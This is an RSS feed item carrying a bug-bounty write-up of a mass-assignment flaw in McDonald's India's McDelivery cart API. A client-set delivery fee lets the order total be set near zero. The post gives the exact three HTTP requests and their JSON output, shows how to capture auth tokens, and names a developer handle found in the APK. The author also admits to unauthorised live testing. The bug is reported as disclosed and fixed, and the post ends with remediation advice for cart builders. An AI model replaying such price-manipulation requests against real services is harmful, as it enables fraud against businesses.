<?xml version="1.0" encoding="utf-8"?>
<?xml-stylesheet href="/assets/feed.xsl" type="text/xsl"?>
<rss version="2.0" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom">
    <channel>
        <title>bug-bounty · Taha Gorme</title>
        <link>https://tahag.dev/tags/bug-bounty</link>
        <description>Posts tagged bug-bounty on Taha Gorme.</description>
        <lastBuildDate>Sat, 07 Nov 2026 00:00:00 GMT</lastBuildDate>
        <docs>https://validator.w3.org/feed/docs/rss2.html</docs>
        <generator>https://github.com/jpmonette/feed</generator>
        <language>en</language>
        <image>
            <title>bug-bounty · Taha Gorme</title>
            <url>https://tahag.dev/og.png</url>
            <link>https://tahag.dev/tags/bug-bounty</link>
        </image>
        <copyright>© 1970 Taha Gorme</copyright>
        <atom:link href="https://tahag.dev/tags/bug-bounty/feed.xml" rel="self" type="application/rss+xml"/>
        <item>
            <title><![CDATA[I could order anything on McDonald's for almost free. Here's the bug]]></title>
            <link>https://tahag.dev/posts/mcdelivery-almost-free-order-bug</link>
            <guid isPermaLink="false">https://tahag.dev/posts/mcdelivery-almost-free-order-bug</guid>
            <pubDate>Sat, 07 Nov 2026 00:00:00 GMT</pubDate>
            <description><![CDATA[A delivery-fee field let the client set the McDelivery order total, down to almost zero. The APK also shipped the build report for its own front end. Reported to McDonald's India, fixed, and written up here.]]></description>
            <content:encoded><![CDATA[<p>I took apart the McDelivery Android app over a few evenings. The build is
<code>com.il.mcdelivery</code> 15.5.1, pulled from APKMirror. I unzipped it and ran jadx for the
Java plus apktool for the manifest and resources, and most of the API surface came out
of the Angular bundles the app ships.</p>
<p>One of the endpoints takes a delivery fee the client is allowed to set, and the order
total is arithmetic downstream of that field, so the fee decided the bill, and the
fee was taking orders. The vulnerability is mass assignment: the API accepts a money
column from the client that the app never sends.</p>
<h2 id="what-the-apk-carried">What the APK carried <a class="header-anchor" href="#what-the-apk-carried">#</a></h2>
<p>The app is Angular inside a Capacitor shell, so the interesting code ships as webpack
bundles instead of readable Java. It also shipped <code>stats.json</code>, the webpack build
report, and nobody had stripped it. That file names the machine that built the app.
Every module path in it points at <code>/home/sagacity-sagar/workspace/mdsx-app-fe</code>, so the
developer handle <code>sagacity-sagar</code> and the repo name <code>mdsx-app-fe</code> sit inside the APK on
every phone that installed it, along with the build date and a map of the front end.</p>
<p>That map is the useful part. The module names cover order tracking, rider tracking,
referrals, the discount engine, and the CMS components, versioned <code>banner-v1</code> through
<code>banner-v7</code>. No source is recoverable from the report, but the route names are enough
to see where the money moves before you read anything.</p>
<p>The live host refuses to serve <code>stats.json</code>. Shipping the same file in the APK defeats
that, and the service worker manifest lists every chunk under its own descriptive
filename anyway, so the route table is public either way.</p>
<p>The same read turned up an error endpoint that accepts writes without a session,
telemetry carrying the phone number and OTP in the clear, and internal hostnames in
the CSP header. Do not ship <code>stats.json</code> in the first place, and strip absolute paths
out of whatever build metadata you do ship.</p>
<h2 id="reading-the-api-first">Reading the API first <a class="header-anchor" href="#reading-the-api-first">#</a></h2>
<p><code>GET /auth/user/guest/</code> mints a working token with no parameters at all. Asking for
object ids <code>0</code> and <code>abc</code> returned the same 401 both times, so authentication runs
before the lookup and ids cannot be probed for existence. CORS answers with
<code>Access-Control-Allow-Origin: *</code> and allows the <code>authorization</code> header.</p>
<p>The shipped web build sends <code>Authorization: Bearer &lt;token&gt;</code>, and this host rejects
that because simplejwt wants <code>Authorization: JWT &lt;token&gt;</code>. Any web client build
sending <code>Bearer</code> is silently unauthenticated here. My test client sends the scheme
the server accepts.</p>
<p>The live work was an afternoon of requests against carts I created and then deleted.
No order was placed and no other account’s id was ever used.</p>
<h2 id="how-the-token-works">How the token works <a class="header-anchor" href="#how-the-token-works">#</a></h2>
<p>The easiest way to hold one is the way I got mine. Log in at <code>https://mcdelivery.co.in</code>
on desktop, open devtools, and switch to the Network tab. Filter by <code>Fetch/XHR</code>, click
any API request that carries data, and the <code>Authorization</code> header holds the whole
thing:</p>
<pre><code class="language-http">Authorization: JWT eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ0b2tlbl90eXBlIjoiYWNjZXNzIiw...
</code></pre>
<p>Copy the value after <code>JWT </code> and you have a working credential for
<code>be.mcdelivery.co.in</code>. Cart requests are the useful ones, since they fire the moment
you add an item, so you never have to complete an order to capture a token. If you do
not want to log in, <code>GET /auth/user/guest/</code> returns a guest identity with an access
token and a refresh token. Guest tokens work for the cart and coupon endpoints, which
is what the rest of this post uses.</p>
<p>A JWT is three base64url segments joined by dots. The middle segment is the payload,
and base64 is encoding, so anyone holding the token can read it:</p>
<pre><code class="language-json">{
  "token_type": "access",
  "iat": 1794054271,
  "exp": 1794056971,
  "jti": "&lt;uuid&gt;",
  "user_id": "&lt;uuid&gt;",
  "primary_contact": "+91XXXXXXXXXX",
  "is_active": true,
  "name": "&lt;name&gt;",
  "email": "&lt;email&gt;",
  "roles": [],
  "customer_id": 0,
  "segmentId": 12
}
</code></pre>
<p>Access tokens last 45 minutes and a refresh token swaps them. The header says
<code>{"alg":"HS256"}</code>, so the server signs with a shared secret, which keeps claims from
being forged and says nothing about keeping them private. The name, email, and phone
number ride along in the clear, worth remembering before pasting a token into a bug
report.</p>
<p>The websocket takes the token in the URL, <code>/ws/order/?token=&lt;JWT&gt;</code>. Tokens in query
strings end up in proxy logs. Every call also carries <code>mds-pinfo</code>, a base64 blob with
a stable <code>deviceId</code>, which is how the backend ties traffic to one browser without an
account.</p>
<p>Guest identity has one hard limit: a guest cannot own a delivery address. The address
serializer rejects the caller’s own guest uuid, and that is what blocked the order
step later.</p>
<h2 id="measuring-the-cart">Measuring the cart <a class="header-anchor" href="#measuring-the-cart">#</a></h2>
<p>With a guest token I created a cart the way the app does, added a Chicken Maharaja Mac
and a McAloo Tikki from a real store, and read every money field back. In India GST
splits into CGST and SGST, which is why the tax appears twice, and <code>gross_price</code> is the
rounded number the UI shows. That reading was the base for everything after.</p>
<p><code>POST /cart/</code> is idempotent per user and business model: the same create call twice
returns the same cart and the second call ignores new fields. My first round skipped
the delete and recorded a clean zero, which looked like a working exploit and was a
measurement error. <code>DELETE /cart/{id}/</code> first, then the create call binds what you
send.</p>
<h2 id="the-vulnerability">The vulnerability <a class="header-anchor" href="#the-vulnerability">#</a></h2>
<p>The cart create body accepts <code>distance_charges</code>, a float the shipped app never sends.
It is the delivery fee, and the server never checks its sign. The exploit is three
requests.</p>
<p>Step 1: seed the charge at creation. The value is the target total minus the real
total, <code>29.00 - 436.81</code> in this run:</p>
<pre><code class="language-http">POST /cart/ HTTP/1.1
Host: be.mcdelivery.co.in
Authorization: JWT &lt;token&gt;
Content-Type: application/json

{
  "business_model_id": 4,
  "restaurant_id": 509,
  "isDistanceFeeApplicable": false,
  "distance_charges": -407.81
}
</code></pre>
<p>What makes it possible is mass assignment. A Django REST Framework serializer lists
which model fields a request body may write, and anything on that list binds straight
from JSON into a database column. The shipped app sends three keys on this endpoint,
so those three were the only ones anyone had looked at. The serializer list is wider
than the app, and a wider list is a bigger menu.</p>
<p>Step 2: add items. The negative is already committed, so item adds accumulate against
it:</p>
<pre><code class="language-http">POST /cart/items/ HTTP/1.1
Authorization: JWT &lt;token&gt;
Content-Type: application/json

{
  "item_id": 2754,
  "cart_id": "&lt;cart-uuid&gt;",
  "quantity": 1,
  "ingredients": [],
  "derivatives": [],
  "is_customized": true
}
</code></pre>
<p><code>2754</code> is the Chicken Maharaja Mac. The second request is the same body with
<code>"item_id": 65</code>, the McAloo Tikki.</p>
<p>Step 3: read the cart back. The fee is a signed line item in the sum:</p>
<pre><code class="language-http">GET /cart/&lt;cart-uuid&gt;/ HTTP/1.1
Authorization: JWT &lt;token&gt;
</code></pre>
<pre><code class="language-json">{
  "sub_total_price": 364.0,
  "total_cgst": 10.41,
  "total_sgst": 10.41,
  "handling_charges": 39.99,
  "distance_charges": -407.81,
  "is_distance_fee_applicable": false,
  "total_price": 29.000000000000057,
  "round_off_value": 0.0,
  "gross_price": 29.0
}
</code></pre>
<p></p><figure><picture><source type="image/webp" srcset="/images/generated/b63b73b2ac-640.webp 640w, /images/generated/b63b73b2ac-1280.webp 1280w, /images/generated/b63b73b2ac-1920.webp 1920w" sizes="(max-width: 700px) 100vw, 680px"></source><img src="/images/generated/b63b73b2ac-1920.webp" srcset="/images/generated/b63b73b2ac-640.webp 640w, /images/generated/b63b73b2ac-1280.webp 1280w, /images/generated/b63b73b2ac-1920.webp 1920w" sizes="(max-width: 700px) 100vw, 680px" width="1920" height="1160" alt="McDelivery cart showing two burgers and a Total Payable of 16 rupees" loading="lazy" decoding="async" /></picture><figcaption>McDelivery cart showing two burgers and a Total Payable of 16 rupees</figcaption></figure><p></p>
<p>This run used a lower target. The two items come to ₹364, the visible charges add
₹59.99 on top, and Total Payable still reads ₹16. The negative fee is not shown in the
breakdown, which is part of why the total looks harmless on screen.</p>
<p>Arithmetic check: <code>364.00 + 10.41 + 10.41 + 39.99 - 407.81 = 29.00</code>. The server takes
the number as given and adds it. The float noise is IEEE 754 doing what it does, and
<code>gross_price</code> is what the UI shows.</p>
<pre><code class="language-text">total_price = sub_total_price + total_cgst + total_sgst
            + handling_charges + donation_value + distance_charges
</code></pre>
<p>Change the target and the same three requests land the total anywhere. A burger chain
runs on the gap between what a meal costs and what it charges. I was writing the gap
myself, and nobody in the kitchen checked the receipt.</p>
<p>Next to it sits <code>isDistanceFeeApplicable</code>, a boolean. Send <code>true</code>, <code>"yes"</code>, <code>1</code>, or
<code>null</code> and the server stores <code>false</code> every time. The policy field is validated and the
money field is not, in the same payload.</p>
<p>There are no range checks anywhere near it. An empty cart stored <code>-99999</code> without
complaint. With items in the cart there is no floor either: keep subtracting past the
real total and the payable number goes below zero. The same field binds on all four
business models, including dine-in, where a distance fee has no business meaning.</p>
<h2 id="what-the-server-checked">What the server checked <a class="header-anchor" href="#what-the-server-checked">#</a></h2>
<p>Comparing the write paths narrowed it down faster than any payload did. Two doors into
the same row, and only one of them asks for ID:</p>
<ul>
<li><code>POST /cart/</code> with <code>distance_charges</code> negative: accepted, stored</li>
<li><code>PATCH /cart/{id}/</code> with the same field: 500, nothing written</li>
<li><code>isDistanceFeeApplicable</code> on create: coerced to <code>false</code></li>
<li><code>handling_charges</code> on create: ignored, recomputed server-side</li>
<li><code>sub_total_price</code> on create: ignored</li>
<li><code>discount_id</code> set to a made-up string: 400, foreign key validation</li>
<li><code>donation_value</code> on create: accepted, then pinned to a fixed value on patch</li>
</ul>
<p>Creation runs a permissive serializer and the patch path runs a closed one. The 500 on
<code>PATCH</code> is Django choking on a value it did not expect, while create never asks the
question. That inconsistency was visible before I sent a single negative number.</p>
<h2 id="dead-ends">Dead ends <a class="header-anchor" href="#dead-ends">#</a></h2>
<p><code>GET /payment/get-request-id?production=</code> looked like a payment environment switch.
Every variant of the flag, including <code>production=x</code>, returned <code>environment: "production"</code>. A value of <code>x</code> still comes back 200, so the parameter is ignored. I
wrote the negative result down and moved on.</p>
<p>Three invalid discount codes all came back as the same empty <code>200 {}</code>, so there was
nothing to learn from the coupon endpoint.</p>
<p><code>POST /order/</code> carries no amount in its body, only a cart id, so the server resolves
the price from the cart row or recomputes it from line items. There is no checkout
endpoint to quote from, which points at the cart row and proves nothing. The order
call is also unreachable from a guest identity, because a guest cannot own a delivery
address. That is where testing stopped.</p>
<h2 id="what-was-proven">What was proven <a class="header-anchor" href="#what-was-proven">#</a></h2>
<p>The fee binds at creation, has no range check, survives item addition, and moves the
cart total to any figure including zero and below, on every business model, with real
items in the cart. The arithmetic held across every run I did.</p>
<p>Whether the order endpoint inherits the number stayed untested, and payment stayed
untested. Cart manipulation is enough on its own. What happens after the cart needs a
registered account and a spare evening.</p>
<h2 id="for-legal-reasons">For legal reasons <a class="header-anchor" href="#for-legal-reasons">#</a></h2>
<p>No order was placed. Any similarity between this statement and an order arriving at my
address at 9:05 pm, delivered by a man on a scooter, is coincidental and legally
deniable. I would never rob a billion dollar company, and I certainly would not do it
with a negative number in a delivery fee. The fries, if they existed, were excellent.</p>
<h2 id="reported-and-fixed">Reported and fixed <a class="header-anchor" href="#reported-and-fixed">#</a></h2>
<p>The report went to <code>bugbounty@mcdonaldsindia.com</code> with the request flow and the
measured results. They shipped a fix and confirmed it, and the field no longer binds
from the client.</p>
<p>The remediation that matters is taking money columns out of the create serializer and
deriving totals from line items. Rejecting negatives alone would have been a bandage:
a positive <code>distance_charges</code> on someone else’s order is an overcharge, and the same
hole faces both directions.</p>
<h2 id="if-you-build-carts">If you build carts <a class="header-anchor" href="#if-you-build-carts">#</a></h2>
<p>Grep your create serializer for money columns. Any field that changes a total and can
be set by a test client is one request away from someone else’s number. Treat the cart
row as a cache and re-price when the order is placed. When one field in a payload is
validated while its neighbour is not, look at the neighbour first.</p>
<p>Everything here ran against carts I made myself on a live backend. I never had
permission to test it and I stopped at the cart, because past that point I would be
ordering food with somebody else’s money. If you find the same class of bug in an app
you do not own, report it and stop. The fries get cold while you wait for the reply
anyway.</p>
]]></content:encoded>
            <author>Taha Gorme</author>
            <category>security</category>
            <category>android</category>
            <category>api</category>
            <category>bug-bounty</category>
            <category>logic-bug</category>
        </item>
    </channel>
</rss>